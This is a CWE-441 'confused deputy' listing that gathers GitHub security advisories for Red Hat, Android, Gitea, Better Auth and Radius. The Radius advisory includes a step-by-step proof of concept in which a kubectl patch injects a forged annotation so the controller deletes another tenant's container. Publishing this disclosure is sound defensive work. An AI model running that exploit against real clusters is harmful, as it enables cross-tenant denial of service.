Common Weakness Enumeration

CWE-441

Allowed-with-Review

Unintended Proxy or Intermediary ('Confused Deputy')

Abstraction: Class · Status: Draft

The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

155 vulnerabilities reference this CWE, most recent first.

GHSA-CC8C-28GJ-PX38

Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 20:40
VLAI
Summary
Misconfigured Internal Proxy in runtimes-inventory-rhel8-operator Grants Standard Users Full Cluster Administrator Access
Details

A flaw was found in runtimes-inventory-rhel8-operator. An internal proxy component is incorrectly configured. Because of this flaw, the proxy attaches the cluster's main administrative credentials to any command it receives, instead of only the specific reports it is supposed to handle.

This allows a standard user within the cluster to send unauthorized commands to the management platform, effectively acting with the full permissions of the cluster administrator. This could lead to unauthorized changes to the cluster's configuration or status on the Red Hat platform.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/RedHatInsights/runtimes-inventory-operator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20251211184433-5123422abee1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-11393"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-16T20:40:12Z",
    "nvd_published_at": "2025-12-15T17:15:51Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in runtimes-inventory-rhel8-operator. An internal proxy component is incorrectly configured. Because of this flaw, the proxy attaches the cluster\u0027s main administrative credentials to any command it receives, instead of only the specific reports it is supposed to handle.\n\nThis allows a standard user within the cluster to send unauthorized commands to the management platform, effectively acting with the full permissions of the cluster administrator. This could lead to unauthorized changes to the cluster\u0027s configuration or status on the Red Hat platform.",
  "id": "GHSA-cc8c-28gj-px38",
  "modified": "2025-12-16T20:40:12Z",
  "published": "2025-12-15T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11393"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23236"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-11393"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2402032"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/RedHatInsights/runtimes-inventory-operator"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Misconfigured Internal Proxy in runtimes-inventory-rhel8-operator Grants Standard Users Full Cluster Administrator Access"
}

GHSA-CF4X-9JJ3-94W2

Vulnerability from github – Published: 2025-09-04 21:31 – Updated: 2025-09-04 21:31
VLAI
Details

In markMediaAsFavorite of MediaProvider.java, there is a possible way to bypass the WRITE_EXTERNAL_STORAGE permission due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-48532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T19:15:39Z",
    "severity": "HIGH"
  },
  "details": "In markMediaAsFavorite of MediaProvider.java, there is a possible way to bypass the WRITE_EXTERNAL_STORAGE permission due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
  "id": "GHSA-cf4x-9jj3-94w2",
  "modified": "2025-09-04T21:31:38Z",
  "published": "2025-09-04T21:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48532"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CVJQ-R2QM-HR62

Vulnerability from github – Published: 2025-09-04 21:31 – Updated: 2025-09-05 18:31
VLAI
Details

In getContextForResourcesEnsuringCorrectCachedApkPaths of RemoteViews.java, there is a possible way to load arbitrary java code in a privileged context due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-22441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T19:15:34Z",
    "severity": "HIGH"
  },
  "details": "In getContextForResourcesEnsuringCorrectCachedApkPaths of RemoteViews.java, there is a possible way to load arbitrary java code in a privileged context due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
  "id": "GHSA-cvjq-r2qm-hr62",
  "modified": "2025-09-05T18:31:19Z",
  "published": "2025-09-04T21:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22441"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-08-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F2FW-QJC4-F8FW

Vulnerability from github – Published: 2026-03-02 21:31 – Updated: 2026-03-06 06:30
VLAI
Details

In multiple functions of MediaProvider.java, there is a possible external storage write permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-48579"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-02T19:16:26Z",
    "severity": "HIGH"
  },
  "details": "In multiple functions of MediaProvider.java, there is a possible external storage write permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-f2fw-qjc4-f8fw",
  "modified": "2026-03-06T06:30:29Z",
  "published": "2026-03-02T21:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48579"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-03-01"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2026-03-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F85H-C7M6-CFPM

Vulnerability from github – Published: 2025-12-26 06:30 – Updated: 2025-12-26 19:30
VLAI
Summary
Gitea sometimes mishandles propagation of token scope for access control within one of its own package registries
Details

Gitea before 1.22.2 sometimes mishandles the propagation of token scope for access control within one of its own package registries.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.22.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-26T19:30:16Z",
    "nvd_published_at": "2025-12-26T04:15:41Z",
    "severity": "MODERATE"
  },
  "details": "Gitea before 1.22.2 sometimes mishandles the propagation of token scope for access control within one of its own package registries.",
  "id": "GHSA-f85h-c7m6-cfpm",
  "modified": "2025-12-26T19:30:16Z",
  "published": "2025-12-26T06:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68944"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/31967"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/release-of-1.22.2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.22.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea sometimes mishandles propagation of token scope for access control within one of its own package registries"
}

GHSA-FMH4-WCC4-5JM3

Vulnerability from github – Published: 2026-07-07 20:54 – Updated: 2026-07-07 20:54
VLAI
Summary
Better Auth vulnerable to unauthorized invitation acceptance via unverified email match in organization plugin
Details

Am I affected?

Users are affected if all of the following are true:

  • Their application uses better-auth with the organization plugin (import { organization } from "better-auth/plugins/organization").
  • Their application enables a sign-up surface that allows arbitrary unverified email registration. Most commonly emailAndPassword: { enabled: true } without requireEmailVerification: true.
  • Their application has not set requireEmailVerificationOnInvitation: true on the organization() options.
  • Their application invitation distribution flow allows anyone other than the invited mailbox owner to obtain the invitationId. Examples: admin UI surfacing the link, copy-paste into chat, forwarded email, mail-forwarding rules at the recipient's domain, link previews logging the URL, or a custom sendInvitationEmail integration that sends to a non-owner channel.

If their application set emailAndPassword: { enabled: true, requireEmailVerification: true } so unverified rows cannot reach a usable session, they are not affected. Setting requireEmailVerificationOnInvitation: true closes acceptInvitation and rejectInvitation, but getInvitation and listUserInvitations remain ungated even with that flag.

Fix:

  1. Upgrade to better-auth@1.6.11 or later.
  2. If developers cannot upgrade their application, see workarounds below.

Summary

The organization plugin's acceptInvitation endpoint trusts an email-string equality check as proof that the session user owns the invited address. With Better Auth's stock emailAndPassword: { enabled: true } configuration, requireEmailVerification defaults to false, so an attacker can sign up a row keyed to victim@target.example (auto-signed-in, emailVerified: false) before the legitimate owner. When an organization admin invites that address, the attacker presents the invitationId and accepts the invitation, joining the organization at the invited role.

Details

The recipient gate compares invitation.email.toLowerCase() to session.user.email.toLowerCase() and returns 403 on mismatch. The opt-in requireEmailVerificationOnInvitation flag adds an emailVerified check, but it defaults to false and only fires on acceptInvitation and rejectInvitation; getInvitation and listUserInvitations have no emailVerified gate at all.

The bearer token (invitationId) is by default 32 chars over [a-zA-Z0-9] (~190 bits), so the realistic attack vector is leakage of the invitation link rather than brute force.

The fix shape defaults the emailVerified gate to on and extends it across all four invitation endpoints (acceptInvitation, rejectInvitation, getInvitation, listUserInvitations). This is the same trust-primitive class as GHSA-g38m-r43w-p2q7 (OAuth auto-link); both ship the rule "email equality is not ownership proof; both sides must prove ownership".

Patches

Fixed in better-auth@1.6.11. All four invitation recipient endpoints (acceptInvitation, rejectInvitation, getInvitation, listUserInvitations) now require the session user's emailVerified to be true in addition to the email-string match. The requireEmailVerificationOnInvitation option default flips from false to true, so applications are secure out of the box.

getInvitation and listUserInvitations use the new EMAIL_VERIFICATION_REQUIRED_FOR_INVITATION error code so the wording matches the operation; acceptInvitation and rejectInvitation keep the existing EMAIL_VERIFICATION_REQUIRED_BEFORE_ACCEPTING_OR_REJECTING_INVITATION code. Server-side calls to listUserInvitations that pass ctx.query.email without an authenticated session continue to bypass the gate; the gate is specific to session-authenticated recipient calls.

Integrators who intentionally accept invitations on unverified sessions can preserve the legacy permissive behavior with organization({ requireEmailVerificationOnInvitation: false }). The option is marked @deprecated; the gate at each call site carries a FIXME pointing at the next-minor follow-up that drops the option and makes the check unconditional. Operators that take this opt-out should understand the takeover risk before doing so.

Workarounds

If developers cannot upgrade their applications immediately:

  • Set organization({ requireEmailVerificationOnInvitation: true }). Closes acceptInvitation and rejectInvitation against unverified sessions. Does not close getInvitation or listUserInvitations.
  • Set emailAndPassword.requireEmailVerification: true (or remove email/password sign-up entirely). Closes the pre-registration step itself.
  • Layer middleware on the organization invitation routes that asserts session.user.emailVerified === true and rejects otherwise.

Impact

  • Account takeover via pre-account hijacking on the org invitation surface: the attacker, holding only an unverified self-issued session and the leaked invitationId, joins the organization as a member at the invited role.
  • Organization membership reach: the attacker reads invitation contents and any organization-scoped data the joined role can see, and acts as a member of the victim organization.

Credit

Reported by @widavies.

Resources

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "better-auth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53514"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-345",
      "CWE-441",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T20:54:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Am I affected?\n\nUsers are affected if all of the following are true:\n\n- Their application uses `better-auth` with the `organization` plugin (`import { organization } from \"better-auth/plugins/organization\"`).\n- Their application enables a sign-up surface that allows arbitrary unverified email registration. Most commonly `emailAndPassword: { enabled: true }` without `requireEmailVerification: true`.\n- Their application has not set `requireEmailVerificationOnInvitation: true` on the `organization()` options.\n- Their application invitation distribution flow allows anyone other than the invited mailbox owner to obtain the `invitationId`. Examples: admin UI surfacing the link, copy-paste into chat, forwarded email, mail-forwarding rules at the recipient\u0027s domain, link previews logging the URL, or a custom `sendInvitationEmail` integration that sends to a non-owner channel.\n\nIf their application set `emailAndPassword: { enabled: true, requireEmailVerification: true }` so unverified rows cannot reach a usable session, they are not affected. Setting `requireEmailVerificationOnInvitation: true` closes `acceptInvitation` and `rejectInvitation`, but `getInvitation` and `listUserInvitations` remain ungated even with that flag.\n\nFix:\n\n1. Upgrade to `better-auth@1.6.11` or later.\n2. If developers cannot upgrade their application, see workarounds below.\n\n### Summary\n\nThe organization plugin\u0027s `acceptInvitation` endpoint trusts an email-string equality check as proof that the session user owns the invited address. With Better Auth\u0027s stock `emailAndPassword: { enabled: true }` configuration, `requireEmailVerification` defaults to `false`, so an attacker can sign up a row keyed to `victim@target.example` (auto-signed-in, `emailVerified: false`) before the legitimate owner. When an organization admin invites that address, the attacker presents the `invitationId` and accepts the invitation, joining the organization at the invited role.\n\n### Details\n\nThe recipient gate compares `invitation.email.toLowerCase()` to `session.user.email.toLowerCase()` and returns 403 on mismatch. The opt-in `requireEmailVerificationOnInvitation` flag adds an `emailVerified` check, but it defaults to `false` and only fires on `acceptInvitation` and `rejectInvitation`; `getInvitation` and `listUserInvitations` have no `emailVerified` gate at all.\n\nThe bearer token (`invitationId`) is by default 32 chars over `[a-zA-Z0-9]` (~190 bits), so the realistic attack vector is leakage of the invitation link rather than brute force.\n\nThe fix shape defaults the `emailVerified` gate to on and extends it across all four invitation endpoints (`acceptInvitation`, `rejectInvitation`, `getInvitation`, `listUserInvitations`). This is the same trust-primitive class as GHSA-g38m-r43w-p2q7 (OAuth auto-link); both ship the rule \"email equality is not ownership proof; both sides must prove ownership\".\n\n### Patches\n\nFixed in `better-auth@1.6.11`. All four invitation recipient endpoints (`acceptInvitation`, `rejectInvitation`, `getInvitation`, `listUserInvitations`) now require the session user\u0027s `emailVerified` to be `true` in addition to the email-string match. The `requireEmailVerificationOnInvitation` option default flips from `false` to `true`, so applications are secure out of the box.\n\n`getInvitation` and `listUserInvitations` use the new `EMAIL_VERIFICATION_REQUIRED_FOR_INVITATION` error code so the wording matches the operation; `acceptInvitation` and `rejectInvitation` keep the existing `EMAIL_VERIFICATION_REQUIRED_BEFORE_ACCEPTING_OR_REJECTING_INVITATION` code. Server-side calls to `listUserInvitations` that pass `ctx.query.email` without an authenticated session continue to bypass the gate; the gate is specific to session-authenticated recipient calls.\n\nIntegrators who intentionally accept invitations on unverified sessions can preserve the legacy permissive behavior with `organization({ requireEmailVerificationOnInvitation: false })`. The option is marked `@deprecated`; the gate at each call site carries a `FIXME` pointing at the next-minor follow-up that drops the option and makes the check unconditional. Operators that take this opt-out should understand the takeover risk before doing so.\n\n### Workarounds\n\nIf developers cannot upgrade their applications immediately:\n\n- **Set `organization({ requireEmailVerificationOnInvitation: true })`**. Closes `acceptInvitation` and `rejectInvitation` against unverified sessions. Does not close `getInvitation` or `listUserInvitations`.\n- **Set `emailAndPassword.requireEmailVerification: true`** (or remove email/password sign-up entirely). Closes the pre-registration step itself.\n- **Layer middleware** on the organization invitation routes that asserts `session.user.emailVerified === true` and rejects otherwise.\n\n### Impact\n\n- **Account takeover via pre-account hijacking on the org invitation surface**: the attacker, holding only an unverified self-issued session and the leaked `invitationId`, joins the organization as a member at the invited role.\n- **Organization membership reach**: the attacker reads invitation contents and any organization-scoped data the joined role can see, and acts as a member of the victim organization.\n\n### Credit\n\nReported by @widavies.\n\n### Resources\n\n- [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [CWE-345: Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-862: Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-441: Unintended Proxy or Intermediary](https://cwe.mitre.org/data/definitions/441.html)",
  "id": "GHSA-fmh4-wcc4-5jm3",
  "modified": "2026-07-07T20:54:52Z",
  "published": "2026-07-07T20:54:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-fmh4-wcc4-5jm3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/better-auth/better-auth"
    },
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/releases/tag/v1.6.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Better Auth vulnerable to unauthorized invitation acceptance via unverified email match in organization plugin"
}

GHSA-FP5J-4FJ2-4JVQ

Vulnerability from github – Published: 2026-06-12 20:08 – Updated: 2026-06-12 20:08
VLAI
Summary
Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)
Details

Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)

Summary

A configuration-validation issue in the Radius Kubernetes controller can cause it to issue a DELETE for the container resource referenced by a tampered radapp.io/status annotation on a Deployment. It follows the "Confused Deputy" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team's container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.

  • Vulnerability Type: Configuration Injection / Cross-Tenant Resource Deletion
  • CVSS 3.1 Score: 7.7 (High in worst-case multi-tenant installs; Medium or lower in single-tenant or strict-RBAC installs)
  • CWE Classification: CWE-20 (Improper Input Validation), CWE-441 (Unintended Proxy or Intermediary)
  • Affected Versions: Radius v0.57.1 and earlier versions

Vulnerability Details

Root Cause

The Radius controller deserializes user-controllable JSON data from the radapp.io/status annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.

Vulnerable Code Locations

Vulnerability Source - pkg/controller/reconciler/annotations.go:110-119:

s := deploymentStatus{}
status := deployment.Annotations[AnnotationRadiusStatus]
if status != "" {
    err := json.Unmarshal([]byte(status), &s)  // Deserializes user-controllable data without validation
    if err != nil {
        return result, fmt.Errorf("failed to unmarshal status annotation: %w", err)
    }
    result.Status = &s
}

Vulnerability Sink - pkg/controller/reconciler/deployment_reconciler.go:491:

poller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container)  // Directly uses user-controllable data for deletion

Attack Chain

┌─────────────────────────────────────────────────────────────────────────────┐
│                           Confused Deputy Attack                            │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Tenant-A (Attacker)                    Tenant-B (Victim)                   │
│  ┌──────────────────┐                   ┌──────────────────┐                │
│  │ legitimate-app   │                   │ victim-container │                │
│  │ (Deployment)     │                   │ (Radius Resource)│                │
│  └────────┬─────────┘                   └────────▲─────────┘                │
│           │                                      │                          │
│           │ 1. Inject malicious                  │ 4. DELETE request        │
│           │    radapp.io/status                  │    (no auth check!)      │
│           │    annotation                        │                          │
│           ▼                                      │                          │
│  ┌──────────────────┐                    ┌───────┴──────────┐               │
│  │ Radius Controller│ ─────────────────▶│   Radius API      │               │
│  │ (High Privilege) │  3. Uses injected  │   (UCP)          │               │
│  └──────────────────┘     container ID   └──────────────────┘               │
│           ▲                                                                 │
│           │ 2. Reads annotation                                             │
│           │    without validation                                           │
│           │                                                                 │
└───────────┴─────────────────────────────────────────────────────────────────┘

Proof of Concept (PoC)

Prerequisites

  • Kubernetes cluster with Radius v0.54.0 installed
  • Attacker has permission to modify Deployment annotations in a namespace
  • Target tenant has Radius-managed container resources

Environment Setup

Step 1: Install Kind Cluster and Radius

# Create Kind cluster
kind create cluster --name radius-test --image kindest/node:v1.27.3

# Install Radius
rad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans

# Verify installation
kubectl get pods -n radius-system

Expected output:

NAME                            READY   STATUS    RESTARTS   AGE
applications-rp-xxx             1/1     Running   0          2m
bicep-de-xxx                    1/1     Running   0          2m
controller-xxx                  1/1     Running   0          2m
ucp-xxx                         1/1     Running   0          2m

Step 2: Create Attacker Tenant (tenant-a)

# Create resource group
rad group create tenant-a

# Create environment
rad env create tenant-a-env --group tenant-a

# Switch to tenant-a
rad group switch tenant-a
rad env switch tenant-a-env

Step 3: Deploy Legitimate Application in tenant-a

Create legitimate-app.bicep:

extension radius

@description('The Radius application resource')
resource app 'Applications.Core/applications@2023-10-01-preview' = {
  name: 'legitimate-app'
  properties: {
    environment: environment()
  }
}

@description('The container resource')
resource container 'Applications.Core/containers@2023-10-01-preview' = {
  name: 'legitimate-container'
  properties: {
    application: app.id
    container: {
      image: 'nginx:latest'
    }
  }
}

Deploy the application:

rad deploy legitimate-app.bicep

Step 4: Create Victim Tenant (tenant-b)

# Create resource group and environment
rad group create tenant-b
rad env create tenant-b-env --group tenant-b

# Create victim application and container via UCP API
kubectl port-forward svc/ucp -n radius-system 8443:443 &
PF_PID=$!
sleep 3

# Create application
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview" \
  -H "Content-Type: application/json" \
  -d '{
    "location": "global",
    "properties": {
      "environment": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env"
    }
  }'

# Create container
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview" \
  -H "Content-Type: application/json" \
  -d '{
    "location": "global",
    "properties": {
      "application": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app",
      "container": {
        "image": "nginx:latest"
      }
    }
  }'

kill $PF_PID 2>/dev/null || true

Step 5: Verify Victim Resource Exists

kubectl get deployment -n tenant-b-victim-app victim-container

Expected output:

NAME               READY   UP-TO-DATE   AVAILABLE   AGE
victim-container   1/1     1            1           50s

Exploitation

Step 6: Inject Malicious Annotation

Create attack-patch.yaml:

metadata:
  annotations:
    radapp.io/enabled: "false"
    radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'

Execute the attack:

kubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml

Expected output:

deployment.apps/legitimate-app patched

Step 7: Verify Attack Success

Wait a few seconds and check the victim's resources:

kubectl get all -n tenant-b-victim-app

Expected output:

No resources found in tenant-b-victim-app namespace.

Log Evidence

The controller logs show the cross-tenant deletion operation:

Attack Triggered (15:29:41.351Z):

{
  "timestamp": "2026-02-01T15:29:41.351Z",
  "message": "Starting DELETE operation.",
  "Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}

Cross-Tenant Delete Request (15:29:41.351Z):

{
  "timestamp": "2026-02-01T15:29:41.351Z",
  "message": "Deleting container.",
  "scope": "/planes/radius/local/resourceGroups/tenant-b",
  "resourceType": "Applications.Core/containers"
}

Deletion Successful (15:29:41.367Z):

{
  "timestamp": "2026-02-01T15:29:41.367Z",
  "message": "Resource is deleted.",
  "Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}

Impact

Security Impact

  • Confidentiality: No direct impact (no data disclosure)
  • Integrity: None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC
  • Availability: High - Can cause service disruption for target tenants

Attack Prerequisites

  1. Attacker needs permission to modify Deployment annotations in a Kubernetes namespace
  2. Attacker needs to know the target resource's Radius resource ID (obtainable through enumeration or social engineering)

CVSS 3.1 Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
Metric Value Description
Attack Vector Network Via Kubernetes API
Attack Complexity Low Only requires annotation modification
Privileges Required Low Requires Deployment edit permission
User Interaction None No user interaction required
Scope Changed Affects other tenants
Confidentiality None No data disclosure
Integrity None No victim data modified; deletes a recoverable management resource
Availability High Causes service disruption

Workarounds

Until an official fix is released, consider the following mitigations:

  1. Restrict Annotation Modification Permissions: Use Kubernetes RBAC to limit who can modify Deployment annotations
  2. Monitor Anomalous Operations: Monitor modifications to radapp.io/status annotations, especially those containing other tenants' resource IDs
  3. Network Isolation: Implement strict network policies in multi-tenant environments

Remediation Recommendations

Short-term Fix

Add validation logic in annotations.go to ensure the container ID in radapp.io/status belongs to the current namespace/tenant:

func validateContainerScope(deployment *appsv1.Deployment, containerID string) error {
    expectedScope := extractScopeFromDeployment(deployment)
    actualScope := extractScopeFromContainerID(containerID)
    if expectedScope != actualScope {
        return fmt.Errorf("container scope mismatch: expected %s, got %s", expectedScope, actualScope)
    }
    return nil
}

Long-term Fix

  1. Implement Least Privilege Principle: The controller should use credentials associated with the Deployment's tenant
  2. Add Radius API Authorization Validation: UCP should validate the source tenant of delete requests
  3. Audit Logging: Log all cross-tenant operation attempts

References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/radius-project/radius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.58.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53999"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T20:08:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)\n\n## Summary\n\nA configuration-validation issue in the Radius Kubernetes controller can cause it to issue a `DELETE` for the container resource referenced by a tampered `radapp.io/status` annotation on a Deployment. It follows the \"Confused Deputy\" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team\u0027s container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.\n\n- **Vulnerability Type**: Configuration Injection / Cross-Tenant Resource Deletion\n- **CVSS 3.1 Score**: 7.7 (High in worst-case multi-tenant installs; Medium or lower in single-tenant or strict-RBAC installs)\n- **CWE Classification**: CWE-20 (Improper Input Validation), CWE-441 (Unintended Proxy or Intermediary)\n- **Affected Versions**: Radius v0.57.1 and earlier versions\n\n## Vulnerability Details\n\n### Root Cause\n\nThe Radius controller deserializes user-controllable JSON data from the `radapp.io/status` annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.\n\n### Vulnerable Code Locations\n\n**Vulnerability Source** - `pkg/controller/reconciler/annotations.go:110-119`:\n\n```go\ns := deploymentStatus{}\nstatus := deployment.Annotations[AnnotationRadiusStatus]\nif status != \"\" {\n    err := json.Unmarshal([]byte(status), \u0026s)  // Deserializes user-controllable data without validation\n    if err != nil {\n        return result, fmt.Errorf(\"failed to unmarshal status annotation: %w\", err)\n    }\n    result.Status = \u0026s\n}\n```\n\n**Vulnerability Sink** - `pkg/controller/reconciler/deployment_reconciler.go:491`:\n\n```go\npoller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container)  // Directly uses user-controllable data for deletion\n```\n\n### Attack Chain\n\n```text\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502                           Confused Deputy Attack                            